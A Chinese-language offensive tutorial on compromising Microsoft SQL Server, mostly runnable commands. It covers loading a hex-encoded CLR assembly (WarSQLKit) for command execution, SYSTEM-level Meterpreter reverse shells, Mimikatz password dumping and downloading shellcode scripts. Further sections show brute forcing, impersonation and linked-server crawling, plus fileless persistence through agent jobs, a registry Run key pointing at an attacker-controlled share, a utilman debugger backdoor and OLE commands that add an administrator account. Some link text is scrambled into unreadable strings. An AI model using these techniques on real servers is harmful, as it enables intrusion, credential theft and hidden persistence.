0000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;GO |

创建存储过程
1 2 3 4 | CREATE PROCEDURE [dbo].[ExecCommand]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]go |

1 | exec dbo.ExecCommand "whoami /all"; |

WarSQLKit是一个针对MSSQL CLR进行利用的工具,有以下两个版本。
1 | https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit |
利用16进制文件流方式导入WarSQLKit.dll文件。

1 2 3 4 5 | CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4D5A...... WITH PERMISSION_SET = UNSAFE;GO |

创建存储过程
1 2 3 4 5 6 | CREATE PROCEDURE sp_cmdExec@Command [nvarchar](max)WITH EXECUTE AS CALLERASEXTERNAL NAME WarSQLKit.StoredProcedures.CmdExecGO |

WarSQLKit CmdExec实现了以下功能
执行任意Windows命令
1 | EXEC sp_cmdExec 'whoami'; |

以SYSTEM权限执行Windows命令
1 | EXEC sp_cmdExec 'whoami /RunSystemPriv'; |

以SYSTEM权限运行PowerShell命令
1 | EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; |
生成以SYSTEM权限运行的X86 Meterpreter反向连接shell
1 | EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; |

生成以SYSTEM权限运行的X64 Meterpreter反向连接shell
1 | EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; |
生成以SYSTEM权限运行的X64 Meterpreter RC4反向连接shell
1 2 | EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'RC4PASSWORD=123456 |
生成以SYSTEM权限运行的X86 Meterpreter_bind_tcp shell
1 | EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; |
每次使用 Meterpreter反弹都会创建一个reverse进程

运行Mimikatz功能抓取密码
1 2 | exec sp_cmdExec 'sp_Mimikatz';select * from WarSQLKitTemp //获取Mimikatz日志 |

文件下载
1 2 | EXEC sp_cmdExec 'sp_downloadFile 53fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3V1k6u0L8Y4k6G2K9$3g2Q4x3X3c8Q4x3X3c8e0K9r3g2D9L8r3y4G2k6r3g2Q4x3X3g2H3M7K6p5`. C:\test\Invoke--Shellcode.ps1 300';EXEC sp_cmdExec 'sp_downloadFile 0e7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3U0f1I4i4K6u0W2x3q4)9J5k6e0x3K6i4K6u0r3d9h3&6$3L8$3E0W2i4K6u0V1i4K6u0V1f1$3S2W2L8r3I4U0L8$3c8W2i4K6u0W2M7s2x3I4 C:\test\Invoke--Shellcode.ps1 300'; |

获取MSSQL Hash
1 | EXEC sp_cmdExec 'sp_getSqlHash'; |

获取Windows Product
1 | EXEC sp_cmdExec 'sp_getProduct'; |

获取可用的数据库
1 | EXEC sp_cmdExec 'sp_getDatabases'; |

SQL Server 2017加入了Microsoft机器学习服务,该服务允许通过SQL Server中sp_execute_external_script执行Python和R脚本
利用条件:
Machine Learning Services必须要在Python安装过程中选择
必须启用外部脚本
1 2 | EXEC sp_configure 'external scripts enabled', 1RECONFIGURE WITH OVERRIDE |
用户拥有执行任何外部脚本权限
利用R执行命令:
1 2 3 4 5 6 7 8 | sp_configure 'external scripts enabled'GOEXEC sp_execute_external_script@language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe/c dir",intern=T))'WITH RESULT SETS (([cmd_out] text));GO |
利用R抓取Net-NTLM哈希:
1 | @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")' |
Python :
1 2 3 4 5 | exec sp_execute_external_script @language =N'Python',@script=N'import sysOutputDataSet = pandas.DataFrame([sys.version])'WITH RESULT SETS ((python_version nvarchar(max))) |
执行命令:
1 2 3 4 5 6 | exec sp_execute_external_script @language =N'Python',@script=N'import subprocessp = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'WITH RESULT SETS (([cmd_out] nvarchar(max))) |
SQL Server代理是一项Microsoft Windows服务,它执行计划的管理任务。
首先启动SQL Server代理服务。

执行计划任务。
1 2 3 4 5 | USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1'; |

第三章简单介绍了SQL Server中常见的一写利用点,接下来介绍这些利用面在各个攻击阶段中的应用和一些思路。
SQL Server的实例发现,本地实例主要是通过检查系统服务和注册表方式。远程实例可以通过扫描TDS监听服务、UDP广播、SPN服务等方式。
常见的几种实例发现工具:
1 | osql -L |

1 | sqlcmd -L |

1 | import-module .\PowerUPSQL.psd1 //加载模块 |

1 | Get-SQLInstanceBroadcast //SQL Server实例发现 |

Metasploit mssql_ping module
Nmap
作为本地用户,主要是通过检查系统服务和注册表设置来标识SQL Server实例。
检查系统服务

检查注册表键值,也可判断SQL Server实例
1 | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances |

使用PowerUpSQL,来识别本地实例。
1 2 | import-module .\PowerUPSQL.psd1 //加载模块Get-SQLInstanceLocal //SQL Server实例发现 |

1 2 3 | Get-SQLInstanceBroadcast -Verbose //UDP广播PingGet-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 //UDP端口扫描 Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose //从文件获取实例列表 |

域内实例主要利用SPN扫描发现实例,先简单介绍一下什么是SPN服务。
Windows 域环境是基于活动目录(Active Directory)服务工作的。为了在域环境中有效地对资源访问权限进行精细控制,提高网络环境的安全性和方便网络资源统一分配管理。系统给域内每种资源分配了不同的服务主体名称(Service Principal Name, SPN)。使用Kerberos协议进行身份验证的域环境中,本地账号SPN将自动注册,但是,域内用户账号下运行的服务,必须为此域内账户手动注册。如下图SQL Server服务运行在域内用户时的状态。

因为域中每台机器都要在Kerberos身份验证服务中注册SPN,所以攻击者可以向域控制器(AD)发送请求,获取SPN相关信息,得到某个服务资源在哪台服务器上。
SQL Server服务的SPN示例:
1 2 | TERMSRV/MSSQL2.sec.com:1433服务组件名称/主机名.域名:监听端口 |
域内用户账号下运行的服务,手动注册SPN
1 | setspn -A MSSQLSvc/MSSQL2.sec.com:1433 mssqluser |

更多SPN相关介绍请查看:5f0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6L8$3y4A6j5h3I4Q4x3X3g2@1k6h3y4Z5L8X3g2@1i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6$3W2C8K9g2)9J5c8X3y4G2L8Y4c8W2L8Y4c8K6i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1j5%4x3e0N6Q4x3X3g2K6k6i4u0$3K9h3y4W2i4K6u0V1M7s2u0A6L8X3y4A6M7r3q4D9i4K6u0V1L8X3q4E0k6i4y4Q4x3X3c8K6M7r3&6Q4x3X3c8K6k6i4c8K6M7r3&6Q4x3X3c8K6P5h3&6@1j5i4S2Q4x3X3g2S2M7%4m8^5
域中安装的SQL Server会使用关联的服务帐户自动在活动目录(Active Directory)中注册,以支持Kerberos身份验证。可以使用以下方式识别实例:
1 | setspn -q */* |

1 | Get-SQLInstanceDomain |

PowerUpSQL其他发现实例命令
| 描述 | 命令 | ||||
|---|---|---|---|---|---|
| 使用备用域凭据发现Active Directory域SQL Server实例 | runas /noprofile /netonly /user:domain\user PowerShell.exe import-module PowerUpSQL.psd1 Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password Password123 |
||||
| 列出使用特定域帐户的SQL Server实例 | Get-SQLInstanceDomain -Verbose -DomainAccount mssqluser | ||||
| 列出共享域用户SQL Server服务帐户 | Get-SQLInstanceDomain -Verbose \ | Group-Object DomainAccount \ | Sort-Object count -Descending \ | select Count,Name \ | Where-Object {($.name -notlike "$") -and ($.count -gt 1) } |
连接测试,两种功能均可用于测试。
1 2 | Get-SQLConnectionTestThreadedInvoke-SQLAuditWeakLoginPw |

爆破必须的几个条件:
使用msf来执行爆破
1 | use auxiliary/scanner/mssql/mssql_login |

PowerUpSQL其他获取账户相关命令:
| 描述 | 命令 | ||
|---|---|---|---|
| 获取可用提供的SQL Server登录名登录的域SQL Server列表。 | $Targets = Get-SQLInstanceDomain -Verbose \ | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass \ | Where-Object {$_.Status -like "Accessible"} $Targets |
| 获取可以使用当前域帐户登录的域SQL服务器的列表。 | $Targets = Get-SQLInstanceDomain -Verbose \ | Get-SQLConnectionTestThreaded -Verbose -Threads 10 \ | Where-Object {$_.Status -like "Accessible"} $Targets |
| 获取可以使用备用域帐户登录的域SQL服务器的列表。 | runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain \ |
Get-SQLConnectionTestThreaded -Verbose -Threads 15 | |
| 获取可以使用非域系统中的备用域帐户登录的域SQL服务器的列表。 | runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain -Verbose -Username 'domain\user' -Password 'MyPassword!' -DomainController 10.1.1.1 \ |
Get-SQLConnectionTestThreaded -Verbose -Threads 15 | |
| 发现域SQL Server,并根据实例名称确定它们是否配置有普通应用程序使用的默认密码。 | Get-SQLInstanceDomain \ | Get-SQLServerLoginDefaultPw -Verbose |
权限提升基本的一个思路:

域用户可以到处登录的前置条件。
获得Sysadmin权限的一些利用点:

可以使用常用的凭据执行爆破,但要注意帐户锁定。
以PowerUpSQL为例:
1 2 3 4 | import-module .\PowerUPSQL.psd1 //加载模块。Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw //从未经身份验证的用户角度发起攻击。Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw //从域用户角度开始攻击。Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded -Username <USERNAME> -Password <PASSWORD> //手动连接到已标识的SQL Server实例。 |
许多使用SQL Server Express作为后端的应用程序都是使用特定的凭据和实例名称配置的。使用以下命令检查这些凭据:
1 2 3 | import-module .\PowerUPSQL.psd1 //加载模块。Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPwGet-SQLInstanceDomain | Get-SQLServerLoginDefaultPw |
如果与SQL Server的通信未加密,我们可以执行MITM攻击来注入们自己的查询。根据欺骗的用户特权,我们可以注入SQL登录名。
尝试使用当前帐户登录到SQL Server。过多的登录特权是常见的配置。
1 2 3 | import-module .\PowerUpSQL.psd1Get-SQLInstanceDomain | Get-SQLConnectionTestGet-SQLInstanceLocal | Get-SQLConnectionTest |
猜测弱密码获得高权限角色账号,一般需要以下两步:
1.枚举登录名
默认情况下,Public角色成员不能选择本地列表登录,但可以进行Fuzz登录名。如果尝试枚举所有SQL Server登录名枚举,则只会看到其中一部分。查询出所有SQL Server登录名:
1 | SELECT name FROM sys.syslogins |

1 | SELECT name FROM sys.server_principals |

suser_name返回给定主体ID的主体名称。可以通过使用Public角色,在suser_name函数中枚举主体ID值来标识SQL登录名。查询示例:
1 2 3 4 5 | SELECT SUSER_NAME(1)SELECT SUSER_NAME(2)SELECT SUSER_NAME(3)SELECT SUSER_NAME(4)... |

2.猜测密码
使用PowerUpSQL尝试对那些已识别出的的SQL Server登录名使用弱口令爆破。
1 2 | Get-SQLFuzzServerLogin -Instance ComputerNAme\InstanceName //PowerUpSQL Blind SQL登录枚举Invoke-SQLAuditWeakLoginPw |
3.获取当前域内用户名
public角色可以获取当前域信息,有利用盲猜域内其他组SID或用户名。
获取SQL Server所在的域:
1 | SELECT DEFAULT_DOMAIN() as mydomain |

获取域内用户的完整SID。
1 | SELECT SUSER_SID('<Identified_Domain>\Domain Admins') |

1 | 0x010500000000000515000000CAAE870FA5F89ACD856A619851040000 |
获取域内Admins组的完整RID。
1 | SELECT SUSER_SID('<Identified_Domain>\Domain Admins') |

1 | 0x010500000000000515000000CAAE870FA5F89ACD856A619800020000 |
抓取完整RID的前48个字节以获取域的SID。通过将十六进制数字值附加到先前的SID来创建新的RID(将与域对象相关联)。
1 2 | RID=0x010500000000000515000000CAAE870FA5F89ACD856A619851040000SELECT SUSER_NAME(RID) //获取与RID关联的域对象名称。 |
PowerUpSQL也可盲猜域帐户。
1 | Get-SQLFuzzDomainAccount -Instance ComputerNAme\InstanceName |
在具有对SQL Server的Public权限账号的上下文中,最常用的获取执行权限的方法是:
以上大部分内容在SQL Server常用攻击面已经介绍,不再赘述,下面简单介绍一下前面未提的方法。
1.特权模拟
SQL Server中有一个特权/权限,它允许权限较低的用户,模拟行使另一个具有更多访问权限的用户。不限制执行查询/命令,但必须将数据库配置为允许OS命令执行对象。
EXECUTE AS语句
默认情况下,会话在用户登录时开始,并在用户注销时结束。会话期间的所有操作都必须对该用户进行权限检查。当一个EXECUTE AS语句运行,会话的执行上下文切换到指定的登录名或用户名。上下文切换之后,将针对该帐户的登录名和用户安全性令牌而不是调用EXECUTE AS语句的人员检查权限。本质上,在会话或模块执行期间将模拟用户或登录帐户,或者显式还原上下文切换。
使用public角色用户testuser,手动检查是否是sa登录:
1 2 | SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin') //检查SQL Server 登录名是否为指定服务器角色的成员。 |

1 | EXECUTE AS LOGIN = 'sa' //模拟sa数据库级别,对于服务器级别,请使用EXECUTE AS USER。 |

再次使用public角色用户testuser,手动检查目前模拟为sa登录:
1 2 | SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin') |

2.存储过程和触发器创建/注入
开发人员的一个常见错误是将他们要使用的所有功能,将其写入存储过程中,以便能够在其他用户的上下文中执行。这些存储过程可以作为数据库的所有者(拥有所有者的EXECUTE AS)来执行,以使它可以访问其他资源。也可以在高权限用户的上下文中进行执行,并且不需要授予特权。但是,从安全的角度来看,采用此方法有一些缺点:
DB_OWNER角色可以使用EXECUTE AS OWNER在sa或sysadmin帐户的上下文中执行。如果这些存储过程实现不安全,则可以通过扩展存储过程来通过SQL注入或命令注入进行模拟。例子:
1 2 3 4 5 6 7 | USE test2GOCREATE PROCEDURE test_imitation2WITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember 'testuser','sysadmin'GO |
必须将数据库配置为值得信赖的OS命令执行程序。虽然可以通过SQL或命令注入进行模拟,但是创建存储过程或触发器是更好的选择。

攻击场景:
DBA对Web应用程序执行以下操作:
1 2 3 4 5 6 | CREATE LOGIN somebody WITH PASSWORD = 'Password123'; //为WebApp创建SQL登录名。USE testALTER LOGIN [somebody] with default database = [test];CREATE USER somebody FROM LOGIN [somebody];EXEC sp_addrolemember [db_owner], [somebody]; //为此SQL登录名分配db_owner角色。Webapp可以从数据库访问所需的任何内容。ALTER DATABASE CurrentDB SET TRUSTWORTHY ON //将数据库设置为可信任的访问外部资源。 |
可以在查询中识别此类数据库
1 | SELECT SUSER_NAME(owner_id) as DBOWNER, d.name as DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m on r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' |

可以使用以下metasploit模块自动进行探测
1 2 | auxiliary/admin/mssql/mssql_escalate_dbownerauxiliary/admin/mssql/mssql_escalate_dbowner_sqi |
3.服务帐户
SQL Server所有版本都为服务帐户提供sysadmin特权。
列出常见的一些服务帐户类型:
PowerUpSQL的Invoke-SQLOSCMD可用于基本命令执行。
对于单个主机实例:
1 | Invoke-SQLOSCMD –Verbose –Instance "server1\instance1" –Command "whoami" |
对于域内实例:
1 | Get-SQLInstanceDomain | InvokeSQLOSCMD –Verbose –Command "whoami" |
如果我们攻击了一个SQL Server,那么我们也将使用该共享帐户来攻击所有SQL Server。
4.爬数据库链接
数据库链接(Database Link)本质上是两个服务器之间的持久连接。数据库链接(Database Link)的作用是,允许一个数据库服务器去对其他的数据库服务器进行查询。数据链接可以用不同的方式进行配置,但是更多时候我们看到它们使用硬编码的凭据。
Public角色使用openquery()函数,对被链接的数据库服务器进行查询;也可以执行xp_cmdshell,对远程访问也无凭证要求。通常配置此功能会使数据库服务器,拥有过多的特权。因此允许在远程服务器上的模拟登录,切换到高权限账号的上下文中。
下图简单说明当数据库对链接查询功能配置过高特权时,注入的payload是如何被传递:
<img src="./权限提升/15.png" style="zoom:100%;" />
列出所有链接的服务器名,通常有两个选项
1 | exec sp_linkedservers |
和
1 | SELECT srvname FROM master..syservers |

查询一个服务器的所有链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers') |
查询一个服务器的某个链接的服务器所链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")') |
查询可以一直嵌套执行,直到穷尽所有数据库服务器。在链接的服务器上执行命令:
1 | SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')') |
SQL Server 2005 存在链接爬网命令执行漏洞,使用msf的mssql_linkcrawler模块可获得反弹shell。
1 | use exploit/windows/mssql/mssql_linkcrawler |


自动化爬网的工具:
首先先了解三个点:
以下是利用点和常用工具列表:
| 利用点 | 常用工具 |
|---|---|
| 本地管理员身份访问DB | Management Studio,sqlcmd和其他SQL客户端工具。 |
| 本地系统身份访问DB | Psexec,可访问性选项,带有本机SQL客户端工具的调试器。 |
| 通过LSA Secrets恢复服务帐户密码 | Mimikatz, Metasploit, lsadump. |
| SQL Server服务进程注入 | Metasploit, Python, Powershell (LoadLibrary,CreateRemoteThread等类似的功能) |
| 从服务进程中窃取身份验证令牌 | Metasploit, Incognito, Invoke-TokenManipulation |
| 单用户模式 | DBATools |
以上利用点不一定适用所有SQL Server所有版本,下面简单列出一下适用版本(√:适用,×:不适用,?:可能适用),仅供参考:
| 利用点 | SQL Server 2000 | SQL Server 2005 | SQL Server 2008 | SQL Server 2012 | SQL Server 2014 | SQL Server 2016 |
|---|---|---|---|---|---|---|
| 服务凭证 | √ | √ | √ | √ | √ | √ |
| 本地管理员 | √ | √ | × | × | × | × |
| 本地系统 | √ | √ | √ | × | × | × |
| SQL Server进程注入 | √ | √ | √ | √ | √ | ? |
| 令牌窃取 | √ | √ | √ | √ | √ | ? |
| 单用户模式 | ? | √ | √ | √ | √ | √ |
附PowerUpSQL一些执行命令:
| 描述 | 命令 | ||
|---|---|---|---|
| SQL Server帐户的域用户。 以域用户身份运行时,此功能将自动执行4件事。1.通过LDAP查询到DC的SPN来识别域上的SQL Server。2.尝试登录每个。3.使用多种方法执行UNC路径注入。4.尝试捕获关联的SQL Server服务帐户的密码哈希。 | Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12 | ||
| 通过服务帐户模拟将OS管理员转换为sysadmin,然后所有PowerUpSQL命令都可以以sysadmin身份运行。 | Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL | ||
| 审核问题 | Invoke-SQLAudit -Verbose -Instance SQLServer1 | ||
| 升级到sysadmin | Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1 | ||
| 执行OS命令:xp_cmdshell | $Targets \ | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10 | |
| 执行OS命令:自定义扩展存储过程 | Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test -Verbose将test.dll放在在SQL Server服务帐户可读的共享上。Get-SQLQuery -Verbose -Query "sp_addextendedproc 'xp_test', '\yourserver\yourshare\myxp.dll'"`xp_test `sp_dropextendedproc 'xp_test' |
||
| 执行OS命令:CLR | $Targets \ | Invoke-SQLOSCLR -Verbose -Command "Whoami" | |
| 执行OS命令:Ole自动化过程 | $Targets \ | Invoke-SQLOSOle -Verbose -Command "Whoami" | |
| 执行OS命令:外部脚本-R | $Targets \ | Invoke-SQLOSR -Verbose -Command "Whoami" | |
| 执行OS命令:外部脚本-Python | $Targets \ | Invoke-SQLOSPython -Verbose -Command "Whoami" | |
| 执行OS命令:代理作业-CmdExec | $Targets \ | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" | |
| 执行OS命令:代理作业-PowerShell | $Targets \ | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" \ | out-file c:\windows\temp\test2.txt' -Sleep 20 |
| 执行OS命令:代理作业-VBScript | $Targets \ | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' | |
| 执行OS命令:代理作业-JScript | $Targets \ | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' | |
| 检索数据库链接 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 | ||
| 检索数据库链接并执行查询 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select name from master..sysdatabases" | ||
| 抓取数据库链接并执行OS命令 | Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | ||
| 转储代理任务的内容。通常包含密码。详细输出包括作业摘要数据。 | $Results = Get-SQLAgentJob -Verbose -Instance Server1\Instance1 -Username sa -Password '123qweASD' | ||
| 枚举所有SQL登录名作为最低特权用户,并测试用户名作为密码。 | 针对单个服务器 Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\Instance1 运行针对域SQL Server运行 $WeakPasswords = Get-SQLInstanceDomain -Verbose \ | Invoke-SQLAuditWeakLoginPw -Verbose $WeakPasswords |
利用SQL Server设置权限维持方法,主要还是靠SQL Server代理作业,定期执行计划任务。为了实现无文件攻击,还利用CLR程序集功能,加载恶意DLL文件。通过这两种内置功能进行持久化,实现了在无文件落地、无其他进程的情况下,实施权限维持。
此持久化有几个前提条件:
以上均在SQL Server代理执行计划任务和SQL Server CLR相关利用详细介绍。
连接SQL Server数据库后,创建SQL Server代理作业,定时执行SQL语句调用恶意的用户自定义存储过程或函数利用SQL语句将CLR程序集以十六进制形式加载加载进数据库,实现通过用户自定义函数调用恶意的CLR程序集。已创建的SQL Server代理作业,定期执行计划任务,调用CLR程序集,实现无文件持久化。
首先创建名为CreateWarSQLKit的存储过程(WarSQLKit相关的利用可查看第二章中SQL ServerCLR相关利用的WarSQLKit篇章)
1 2 3 4 5 6 7 | USE msdb;CREATE procedure CreateWarSQLKit as CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4D5A...... WITH PERMISSION_SET = UNSAFE;GO |

创建SQL Server代理作业,定期执行CreateWarSQLKit,实现WarSQLKit的DLL文件持久化。
1 2 3 4 5 6 7 8 9 10 11 | USE msdb;EXEC dbo.sp_add_job @job_name = N'test_CreateWarSQLKit_job1'; EXEC sp_add_jobstep @job_name = N'test_CreateWarSQLKit_job1', @step_name = N'test_CreateWarSQLKit_name1', @subsystem = N'TSQL', @command = N'exec CreateWarSQLKit', @retry_attempts = 5, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_CreateWarSQLKit_job1';EXEC dbo.sp_start_job N'test_CreateWarSQLKit_job1'; |

除了正常利用SQL Server可以执行系统命令的存储过程,以下操作都是作为SQL对象存储在数据库中,并且没有任何更改到磁盘,也可以做到无文件持久化。
可以为utilman.exe设置调试器,该调试器将在调用cmd.exe时运行。仅sysadmins特权。
1 2 | import-module .\PowerUPSQL.psd1Get-SQLPersistentRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance SQLServerName\InstanceName' |
可以利用CurrentVersion \run与xp_regwrite建立。仅sysadmins特权。
1 2 | import-module .\PowerUPSQL.psd1Get-SQLPersistentRegRun -Verbose -Name legit -Command '\\attacker_controlled_ip\malicious.exe' -Instance 'SQLServerName\InstanceName' |
可以将所有自定义CLR程序集导出到DLL,最后导入后门CLR。仅sysadmins特权。
1 2 3 | import-module .\PowerUPSQL.psd1$Results = Get-SQLStoredProcedureCLR -Verbose -Instance 'SQLServerName\InstanceName' -UserName sa -Password 'password' -ExportFolder c:\tempCreate-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.exe |
如果遇到SQLServer中的xplog70.dll文件被删除或放到其他地方了, xp_cmdshell就无法执行我们发出的命令了。可以考虑SQLServer中有一系列与OLE相关的存储过程,这一系列的存储过程同xp_cmdshell以及读取注册表系列的存储过程一样危险,所以被删除的可能性就小一些。这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
可以在系统添加一个用户名为test,密码为12345678,并加入管理员组。
1 2 3 | DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user test 12345678 /add'DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net localgroup administrators test /add ' |
xp_cmdshell、SP_OACREATE等可执行系统命令的存储过程,以及与它们相对应的动态连接库文件(DLL)都被删除了,还可以读取和修改注册表的存储过程(xp_regread、xp_regwrite)来克隆对方系统的管理员用户。
PowerUpSQL命令参考:
| 描述 | 命令 | |||
|---|---|---|---|---|
| 将所有自定义CLR程序集导出到DLL。它们可以脱机反编译,并且通常包含密码。而且,无需过多努力即可将其借壳。 | $Results = Get-SQLStoredProcedureCLR -Verbose -Instance Server1\Instance1 -Username sa -Password 'P@ssword!' -ExportFolder c:\temp `$Results |
Out-GridView` | ||
| 创建一个可用于导入现有(或后门)CLR程序集的SQL命令。 | Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll 博客:07cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2L8X3g2@1M7%4m8A6i4K6u0W2j5$3!0E0i4K6u0r3j5i4c8@1j5h3y4C8K9h3&6Y4i4K6u0V1M7%4q4D9i4K6u0V1M7$3g2J5N6X3g2J5i4K6u0V1j5$3I4J5i4K6u0V1j5i4y4K6k6h3#2T1L8r3W2W2M7#2)9J5c8W2)9J5z5g2)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2F1k6i4c8K6M7r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6S2N6s2c8S2j5$3E0A6L8X3N6Q4x3X3c8K6M7h3I4Q4x3X3c8K6k6i4u0$3k6i4u0Q4x3X3c8U0L8s2u0Q4x3X3c8S2M7%4y4W2L8h3u0D9K9h3g2K6i4K6u0r3 |
|||
